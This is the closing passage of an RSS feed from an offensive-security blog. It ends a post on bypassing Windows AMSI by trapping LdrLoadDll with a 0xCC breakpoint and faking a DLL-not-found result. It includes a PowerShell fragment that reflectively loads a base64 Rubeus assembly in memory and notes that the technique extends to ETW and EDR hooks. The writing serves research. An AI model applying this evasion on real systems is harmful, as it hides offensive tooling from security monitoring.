</span></span><span style="display:flex;"><span>    [<span style="color:#66d9ef">System.Convert</span>]::FromBase64String(<span style="color:#e6db74">&#34;BASE64&#34;</span>)
</span></span><span style="display:flex;"><span>).EntryPoint.Invoke($null, @(,[<span style="color:#66d9ef">string[]</span>]@()))
</span></span></code></pre></div><p><strong>Without bypass</strong>: AMSI kills the load immediately.</p>
<p><img src="/images/amsi-bypass/rubeus.png" alt="Rubeus blocked by AMSI"></p>
<p><strong>With bypass</strong>: <code>Rubeus.exe</code> loads cleanly into memory, no disk write, no AMSI scan.</p>
<p><img src="/images/amsi-bypass/rubeus_bypassed.png" alt="Rubeus loaded with AMSI bypassed"></p>
<h2 id="conclusion">Conclusion</h2>
<p>One byte. That&rsquo;s what it took to keep <code>amsi.dll</code> out of a PowerShell process. No debug registers, no patching <code>AmsiScanBuffer</code>, no YARA-bait byte sequences. Just <code>0xCC</code> at <code>LdrLoadDll</code>, an exception handler that checks the DLL name, and a faked <code>STATUS_DLL_NOT_FOUND</code> return.</p>
<p>AMSI is the example here, but I want to be honest: I find this technique more interesting for what it says about the general problem than for the AMSI bypass specifically. Security DLLs load through known functions. Those functions have predictable calling conventions. If you&rsquo;re in the same address space, and you are always, you can intercept them. ETW providers, EDR callbacks, inspection hooks, the same <code>0xCC</code> logic applies. You just need to know where to put the byte.</p>
<p>I still have a bunch of ideas in this space I want to write about. More coming soon.</p>
]]></description><media:thumbnail url="https://0x3lk.github.io/images/amsi-bypass/amsi.jpg"/></item><item><title>About</title><link>https://0x3lk.github.io/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><author>oussamaeuler@gmail.com (0x3lk)</author><guid>https://0x3lk.github.io/about/</guid><description><![CDATA[<p>I mainly work on:</p>
<ul>
<li><strong>Pentesting</strong></li>
<li><strong>Red Team</strong> (Malware Development, AV/EDR Evasion)</li>
<li><strong>Kernel Exploitation</strong></li>
<li><strong>Reverse Engineering &amp; Vulnerability Hunting</strong></li>
</ul>
<p>Apprentice @ <strong>Orange Cyberdefense</strong>.</p>
<p>Always open to discussing <strong>Offensive Security</strong>.</p>
<br>
]]></description></item></channel></rss>